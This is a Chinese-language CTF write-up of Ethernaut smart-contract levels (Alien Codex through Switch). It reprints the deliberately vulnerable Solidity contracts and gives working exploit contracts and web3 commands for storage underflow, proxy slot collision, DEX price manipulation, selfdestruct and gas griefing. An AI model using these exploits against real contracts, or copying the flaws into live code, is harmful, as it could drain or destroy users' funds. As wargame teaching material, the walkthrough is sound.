      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */
}

EVM 执行字节码，并不知道函数名、参数名等信息
通过 ABI，其它合约能够调用指定合约的函数

无论被调用的函数名是什么都将返回 \(42\) 的合约 👇🏻

60 0a
60 0c
60 00
39  // copy code into memory
60 0a
60 00
f3  // return code

60 2a
60 00
52  // push 42 into memory
60 20
60 00
f3  // return

由外部账户发起没有 to 地址的转账交易，并将合约的 bytecode 放在 data 域即可创建合约

>> let bytecode = "600a600c600039600a6000f3602a60005260206000f3";
>> await web3.eth.sendTransaction({"data": bytecode, "from": player})
Object { blockHash: "0x91be4e10a259695dc64e5feea7b875135dfc3f96f1b649554761514f4282c815", blockNumber: 8034615, contractAddress: "0x59B38CC5e23Ac1aE9c93A4c73CA1fA9c1A149736", ... }

接下来调用实例的 setSolver 就好啦 =v=

>> await contract.setSolver("0x59B38CC5e23Ac1aE9c93A4c73CA1fA9c1A149736");
>> await contract.solver();
"0x59B38CC5e23Ac1aE9c93A4c73CA1fA9c1A149736"

参考资料¶

19. Alien Codex¶

声明对合约实例的所有权

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

合约继承中，父合约 Ownable 的代码将全部拷贝至子合约 AlienCodex，包括变量 owner
根据提示 Understanding how array storage works，显然重点在数组 codex 上
动态数组与静态变量的存储方式（可参考 Privacy）不同，但仍根据静态变量的存储规则占用一个 slot p，用于存储数组长度，数组偏移量为 keccak(p)，数组元素的存储方式与静态数组相同
- 数组元素偏移量为 keccak(p) + (index * elementSize)
- codex 占用 slot 1，计算数组偏移量
```
>> web3.utils.soliditySha3({ type: "uint", value: 1 })
"0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6"
```
地址长度为 32 字节，所以总共有 \(2^{256}\) 个 slot，那么，想要修改 slot 0 的 owner，需要修改下标为 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a 的数组元素

操作数组 codex 需要 contact 为 true

>> await web3.eth.getStorageAt(instance, 0)
"0x000000000000000000000000da5b3fb76c78b6edee6be8f11a1c31ecfb02b272"
>> await contract.make_contact()
>> await contract.contact()
true
>> await web3.eth.getStorageAt(instance, 0)
"0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272"
// slot 0 存储了变量 owner 和 contact 的值

使用 retract 使数组长度下溢出，从而能修改目标下标的元素

>> await contract.retract();
>> await web3.eth.getStorageAt(instance, 1);
"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"

修改 owner

>> await contract.revise("0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a", "0x0000000000000000000000017Fb8134848aDe56fF213eC49edBbB1D830853289");
>> await web3.eth.getStorageAt(instance, 0);
"0x0000000000000000000000017fb8134848ade56ff213ec49edbbb1d830853289"
>> await contract.owner();
"0x7Fb8134848aDe56fF213eC49edBbB1D830853289"

参考资料¶

20. Denial¶

阻止 owner 在投资人调用 withdraw() 时获利

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

withdraw() 并没有检查 partner.call{value:amountToSend}(""); 的返回值，因此被调用函数 revert 并不会影响后续语句的执行，但可以耗尽汽油使整个交易失败
```
// 先使用 setWithdrawPartner 设置 partner 为合约 Hack 的地址
contract Hack {
  receive() external payable {
    while(true) {}
  }
}
```
当使用 call 发起外部调用时，最好指定汽油量，如 call.gas(100000).value()
外部 CALL 最多可以使用 CALL 时 63/64 的汽油，因此，足够高的汽油量也可以缓解这种攻击

21. Shop¶

以低于定价的价格从商店购买商品

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

需要实现 price() 函数，使得第一次调用时返回的价格不小于定价，第二次调用时返回的价格小于定价

声明了 view 的函数不能修改状态，第一反应是利用 gasleft() 来获得变化的值

contract Hack {
  function buy(address instance) public {
    Shop(instance).buy();
  }
  function price() external view returns (uint) {
    return gasleft() / 10 - 300;  // 在 Goerli 测试网络上调试通过
  }
}

声明了 view 的函数可以读取状态，因此也可以利用状态变量 isSold

contract Hack {
  function buy(address instance) public {
    Shop(instance).buy();
  }
  function price() external view returns (uint) {
    return Shop(msg.sender).isSold() ? 0 : 100;
  }
}

22. Dex¶

至少清空 DEX 合约中的一种代币
合约 Dex 每种代币初始各 100 枚，玩家每种代币初始各 10 枚

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

梳理合约 Dex 提供的代币互换方式
- 根据要交换的 from 代币的数量 amount、Dex 合约 from 和 to 代币的余额计算交换得到 to 代币的数量 swapAmount，即 swapAmount = amount * to.balance / from.balance
- 将要交换的 from 代币存入 Dex 合约，swapAmount 数量的 to 代币从 Dex 合约转出
若首先将 10 枚 token1 转换为 token2，此时 swapAmount 为 10，Dex 合约 token1 的余额变为 110、token2 的余额变为 90，玩家将持有 20 枚 token2 代币，再将全部 token2 转为 token1，此时 swapAmount 提高到 24，可见不断进行代币互换即可清空 Dex 合约中的一种代币

部署合约 Hack，并授权使用代币 >> contract.approve("<hack-address>", 10)

contract Hack {
    function exploit(address instance) public {
        Dex dex = Dex(instance);
        address token1 = dex.token1();
        address token2 = dex.token2();
        IERC20(token1).transferFrom(msg.sender, address(this), 10);
        IERC20(token2).transferFrom(msg.sender, address(this), 10);
        while (dex.balanceOf(token1, instance) > 0 && dex.balanceOf(token2, instance) > 0) {
            uint256 amount = dex.balanceOf(token1, address(this));  // 将持有的代币全部用于交换
            if (amount > 0) {
                // 除第一次交换外，合约 Dex 的 to 代币的余额必为 110
                // 当 swapAmount 大于 Dex 合约 to 代币的余额时，说明本次交换能够清空 to 代币
                // 即可以获得 110 枚 to 代币，那么参与交换的 from 代币的数量应为
                // 110 * from.balance / to.balance = 110 * from.balance / 110 = from.balance
                if (dex.getSwapPrice(token1, token2, amount) > dex.balanceOf(token2, instance)) {
                    amount = dex.balanceOf(token1, instance);
                }
                dex.approve(instance, amount);
                dex.swap(token1, token2, amount);
            }
            else {
                amount = dex.balanceOf(token2, address(this));
                if (dex.getSwapPrice(token2, token1, amount) > dex.balanceOf(token1, instance)) {
                    amount = dex.balanceOf(token2, instance);
                }
                dex.approve(instance, amount);
                dex.swap(token2, token1, amount);
            }
        }
    }
}

不应从单个来源获取价格或其它数据，可以借助于 Oracles，如 Chainlink Data Feeds

23. Dex Two¶

清空 DexTwo 合约中的所有代币
合约 DexTwo 每种代币初始各 100 枚，玩家每种代币初始各 10 枚

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

相比合约 Dex，合约 DexTwo 在进行货币交换时不再检查输入参数 from、to，因此可以借助其它代币来清空 DexTwo 中的 token1 和 token2

contract Hack {
  address[] tokens;
  function exploit(address instance) public {
    DexTwo dex = DexTwo(instance);
    tokens.push(dex.token1());
    tokens.push(dex.token2());
    for (uint8 i = 0; i < 2; i ++) {
      SwappableTokenTwo token = new SwappableTokenTwo(instance, "fake", "F", 2);
      token.transfer(instance, 1);
      token.approve(address(this), instance, 1);
      dex.swap(address(token), tokens[i], 1);
    }
  }
}

声明实现了 ERC20 标准的合约不一定可信，部分合约的函数返回值可能缺失，也可能存在恶意行为

更简单地，可以部署一个恶意的 ERC20 合约

contract DexTwoAttackToken {
    function balanceOf(address) external pure returns (uint256) {
        return 1;
    }

    function transferFrom(address, address, uint256) external pure returns (bool) {
        return true;
    }
}

>> contract.swap("<DexTwoAttackTokenAddress>", await contract.token1(), 1)
>> contract.swap("<DexTwoAttackTokenAddress>", await contract.token2(), 1)

24. Puzzle Wallet¶

成为代理合约的管理员

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2; // redundant

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

调用逻辑合约 PuzzleWallet 相关函数需要在白名单内且只有 owner 才能添加指定地址到白名单
```
>> await contract.whitelisted(player)
false
>> await contract.owner()
"<level-address>" 
```
由于使用代理调用的方式，代理合约的 pendingAdmin 与逻辑合约的 owner 共享一个 slot，因而可先通过 proposeNewAdmin 更新 owner，随后将玩家添加到白名单中
同理，maxBalance 与 admin 共享一个 slot，而 maxBalance 可通过 setMaxBalance 更新，但首先需清空代理合约的余额
execute 依据 balances 中记录的对应地址的余额进行转账，而 balances 只能通过 deposit 改变

注意到 multicall 中 depositCalled 不是状态变量而是函数内变量，因而嵌套调用 multicall 可绕过限制利用单次 transfer 进行重复 deposit

// 部署后将攻击合约添加到白名单中
contract Hack {
    PuzzleWallet wallet;

    constructor(address instance) {
        wallet = PuzzleWallet(instance);
    }

    // msg.value 设置为 0.001 eth，即代理合约初始余额
    function exploit() external payable {
        bytes[] memory data = new bytes[](2);
        bytes[] memory subdata = new bytes[](1);
        data[0] = abi.encodeWithSignature("deposit()");
        subdata[0] = data[0];
        data[1] = abi.encodeWithSignature("multicall(bytes[])", subdata);
        wallet.multicall{value: msg.value}(data);
        wallet.execute(msg.sender, msg.value * 2, "");
    }
}

delegatecall 保持合约被调用时的 msg.value

25. Motorbike¶

让 Engine 自毁，使 Motorbike 不可用

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    // constant variable does not have a storage slot
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS(Universal Upgradeable Proxy Standard) proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

与透明代理模式不同，UUPS 代理模式由逻辑合约负责升级逻辑，因而代理合约部署的代价较小
- 同时 UUPS 代理模式节省了每次检查用户是否为 owner 的开销
upgrader 可以使用 upgradeToAndCall() 更新逻辑合约并调用
Motorbike 在部署时通过 delegatecall 调用 Engine 的 initialize()，initialize() 使用 initializer 函数修饰符，避免再次初始化
- initializer 修饰符使用状态变量 initialized 和 initializing 记录或判断初始化状态
initialized 存储在 Motorbike 实例中，而不是 Engine，因而可以直接调用 Engine 实例的 initialize() 再更新其逻辑合约的地址并调用
不要让逻辑合约处于未初始化状态

Exploit¶

// 获取 Engine 实例的地址
>> await web3.eth.getStorageAt(instance, "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc");
"0x000000000000000000000000e12c57f61db3891d41ddde5a6669591391ad30ab"

// 部署新的逻辑合约
contract Bomb {
    fallback() external {
        selfdestruct(tx.origin);
    }
}
// 调用 initialize 成为 upgrader，随后调用 upgradeToAndCall() 更新逻辑合约

参考资料¶

26. DoubleEntryPoint¶

防止合约 CryptoVault 被清空代币
实现能够正确告警以防止潜在攻击或漏洞利用的 detection bot 合约并在 Forta 注册

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
    address public sweptTokensRecipient;  // player
    IERC20 public underlying; // DoubleEntryPoint

    constructor(address recipient) {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

传入 CryptoVault.sweepToken() 代币的地址不能等于 underlying，而若传入 LegacyToken 的地址，将调用 delegateTransfer()，实际转移的是 CryptoVault 持有的 DET 代币，对应 underlying

若 origSender 为 CryptoVault 的实例则 raiseAlert

contract DetectionBot is IDetectionBot {
  address vault;

  constructor(address instance) {
    DoubleEntryPoint dep = DoubleEntryPoint(instance);
    vault = dep.cryptoVault();
  }

  function handleTransaction(address user, bytes calldata msgData) external {
    // skip the 4-byte function signature
    ( , , address sender) = abi.decode(msgData[4:], (address, uint256, address));
    if (sender == vault) {
      IForta(msg.sender).raiseAlert(user);
    }
  }
}

部署 DetectionBot 后，使用 player 账户调用 Forta.setDetectionBot()
可以在 sweepToken() 的最后检查合约 underlying 的余额是否和调用前相同

参考资料¶

27. Good Samaritan¶

清空 Good Samaritan 钱包的余额

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            // a gas-efficient way :)
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

重复调用 requestDonation() 能够清空钱包的余额，但需要耗费大量的汽油 :(

显然，调用 Wallet.transferRemainder() 是清空余额的最佳方法，需要触发错误 NotEnoughBalance()。由于错误能通过调用链传播，根据签名辨识（与函数调用类似），且不包含来源地址，可直接在 notify() 中触发

contract Notifyable is INotifyable {
    error NotEnoughBalance();

    function exploit(address instance) external {
        GoodSamaritan(instance).requestDonation();
    }

    function notify(uint256 amount) external {
        // 全部 revert 将导致交易失败
        if (amount == 10) // 区分 donate10() 和 transferRemainder()
            revert NotEnoughBalance();
    } 
}

参考资料¶

Custom Errors in Solidity | Solidity Blog

28. Gatekeeper Three¶

再次成为 entrant XD

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;

  constructor (address payable _target) {
    target = GatekeeperThree(_target);
  }

  function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }

  function trickInit() public {
    trick = address(this);
  }

  function trickyTrick() public {
    if (address(this) == msg.sender && address(this) != trick) {
      target.getAllowance(password);
    }
  }
}

contract GatekeeperThree {
  address public owner;
  address public entrant;
  bool public allow_enterance = false;
  SimpleTrick public trick;

  function construct0r() public {
      owner = msg.sender;
  }

  modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }

  modifier gateTwo() {
    require(allow_enterance == true);
    _;
  }

  modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  }

  function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allow_enterance = true;
    }
  }

  function createTrick() public {
    trick = new SimpleTrick(payable(address(this)));
    trick.trickInit();
  }

  function enter() public gateOne gateTwo gateThree returns (bool entered) {
    entrant = tx.origin;
    return true;
  }

  receive () external payable {}
}

调用 GatekeeperThree.createTrick() 初始化 trick
```
>> contract.createTrick();
```
GatekeeperThree.construct0r() 由于 typo 成为普通函数，可直接调用变更 owner，使用合约调用 GatekeeperThree.enter() 能够通过 gateOne
gateTwo 需要通过 GatekeeperThree.getAllowance() 使 allow_enterance = true，由 getStorageAt() 获取 SimpleTrick.password，以通过 trick.checkPassword()
```
>> web3.eth.getStorageAt(await contract.trick(), 2);
"0x0000000000000000000000000000000000000000000000000000000064047a80" 
```
通过 gateThree 需要合约 GatekeeperThree 内的余额大于 0.001 ether，且无法向 owner 发送 0.001 ether（owner 不提供 payable 的 receive 或 fallback 函数）

interface IGatekeeperThree {
    function construct0r() external;
    function getAllowance(uint) external;
    function enter() external;
}

contract Hack {
    function exploit(address payable instance, uint pass) external payable {
        instance.transfer(0.001001 ether);
        IGatekeeperThree(instance).getAllowance(pass);
        IGatekeeperThree(instance).construct0r();
        IGatekeeperThree(instance).enter();
    }
}

29. Switch¶

Just have to flip the switch :)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

     modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }

}

需要通过 flipSwitch() 调用 turnSwitchOn()，而 onlyOff 修饰符会检查 calldata[68:52] 字节是否为 offSelector
正常情况下编码的 calldata 没办法绕过 onlyOff 的检查调用 turnSwitchOn()

flipSelector _data offset _data length Selector

4 bytes 32 bytes 32 bytes 4 bytes
不过可以尝试更改 _data 的偏移量，并将 onSelector 放在 offSelector 之后

flipSelector _data offset padding offSelector _data length onSelector

4 bytes 32 bytes 32 bytes 32 bytes 32 bytes 4 bytes

